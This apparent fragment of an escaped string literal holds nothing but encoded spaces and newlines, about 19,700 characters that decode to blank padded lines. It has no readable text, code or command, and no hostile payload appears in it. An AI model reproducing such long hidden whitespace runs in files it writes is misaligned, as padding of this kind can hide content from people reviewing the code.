\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
